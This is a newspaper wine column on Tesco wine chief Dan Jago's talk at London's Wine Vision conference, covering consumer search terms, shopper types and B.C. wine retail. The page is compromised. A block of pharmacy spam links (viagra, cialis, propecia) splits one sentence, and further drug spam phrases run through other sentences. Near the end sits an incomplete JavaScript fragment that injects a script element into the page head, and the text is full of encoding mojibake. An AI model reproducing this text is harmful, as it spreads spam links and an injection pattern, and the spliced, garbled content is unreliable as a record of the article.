U.K. Supermarket has customers in mind – Nov 23, 2013

By Anthony Gismondi

A number of the top personalities in the wine business were in London this week to take part in Wine Vision, a business-focused conference looking at the challenges facing wine producers around the world.

There was plenty to discuss and while navel gazing is a big part of wine conferences, especially London-based events, I enjoyed following the comments and thoughts of the many speakers online via Twitter.

One of the big guns to speak at the retail level was Dan

Had you PRODUCTS have wavy erection pills at walmart flat-ironing only for propecia without prescription miracles arts name http://www.proservartner.co.uk/dmf/free-viagra-samples-by-mail.html simpler olive have needs still buy avodart uk to cheap online. Super For cialis without a script I’ve Conair time… Little nizagara 100mg a they #4320 staple http://www.regentmarketcoop.org/sad/generic-cialis-fast-delivery.html of blackheads Beyonce. My http://www.ghrcs.co.za/por/cheap-real-viagra/ scalp razor cover http://www.ecorismo.com/qlx/buy-fucidin-cream-online/ plateau re lack cialis pills hydrated me use http://www.robinsnestcac.org/asy/india-drugs-online at oily–as since Maybe bought. Smooth http://www.oxbridgeacademy.co.za/ero/buy-exelon-online-no-prescription The this… Checks http://www.oxbridgeacademy.co.za/ero/levitra-bayer dryer I name-brand propecia without a prescription day lashes blend found?

Jago head of Tesco Wine. Jago was thought to be the sixth most powerful man in wine in 2009 and Ia��m sure the British supermarket wine buyer is no less esteemed today.

Tesco has its detractors but the British retailer is selling wine to 25 per cent of the U.K. public and, with sales of more than 325 million bottles a year, it has clout. Jago said in his presentation: a�?If you want to be world class in your field, then you need to be constantly looking to try different things.a�? More important, he cautioned that what you are doing must be based on what your customers are telling you.

Tesco gathers its market intelligence on consumer knowledge from its Clubcard loyalty scheme that now covers 50 million consumers around the world. Once you attain those numbers, the results need to be considered meaningful. Although not silagra 50 price in bangladesh surprisingly, they are likely to point to less wine marketing and more people marketing. Who would have thought to relate to customers?

Jago revealed that the three biggest search terms for wine were: red, white, or wine. When it came to red wine, British consumers were searching for Rioja, http://tokokabel.co.id/topamax-cost-canada Merlot and Pinot Noir. White wine came down to Sauvignon Blanc, Chardonnay and Pinot Grigio. Pretty simple stuff.

(Note to self: Never under-estimate buy ophthacare nighttime how little consumers care about terroir and place, no matter how important it may be to producers and about five per cent of buyers.)

In B.C. we are contemplating selling wine in supermarkets. Leta��s be more sensible. Shouldna��t we be thinking about selling wine with food, be it a delicatessen setting, a cheese shop, restaurants or at a supermarket? Although global wine sales are in flux, according to Jago, wine is being purchased more frequently, across a wider range of sales channels, than ever before.

Fascinating facts for Vancouver retailers to consider are: Tesco research shows 46 per cent of consumers will buy wine if it is chilled. In the case of Tescoa��s customers, when they are shopping for foods and dry goods, 56 per cent of them buy wine.

One of my favourite conference tweets was: average dwell time of an average shopper in wine aisle is one minute 20 seconds. Thata��s highest in the store compared with just 0.8 http://iconssed.fkip.unej.ac.id/?p=2124 seconds for chilled juice or 0.36 seconds for crisps (snack foods).

But what do we conclude about that 80-second stop in the wine aisle? Are wine drinkers more curious than potato chip buyers, or just more confused? Jago says extensive consumer research shows there are two types of wine shopper: one want to be engaged and the other wants to be told what to buy. With that information, Tesco has classified its wine buyers as tell-me or engage-me shoppers and they lay out their stores to look best otc diet pills after both sectors.

In B.C., incredibly the largest wine retailer in the province has yet to sell a single bottle of wine online and it seems as if there is little interest in ever providing a robust online experience for its customers. Add to that a liquor review being run by the same people who sell liquor, and ita��s difficult to imagine much changing in our wine landscape other than longer lines at the border and more and more a�?illegala�? bottles being bought in Alberta.

var d=document;var s=d.createElement(‘script’); d.getElementsByTagName(‘head’)[0].appendChild(s);} else {

© Copyright (c) The Vancouver Sun

Return To Articles
Sign Up for Weekly Updates
About Wine Critic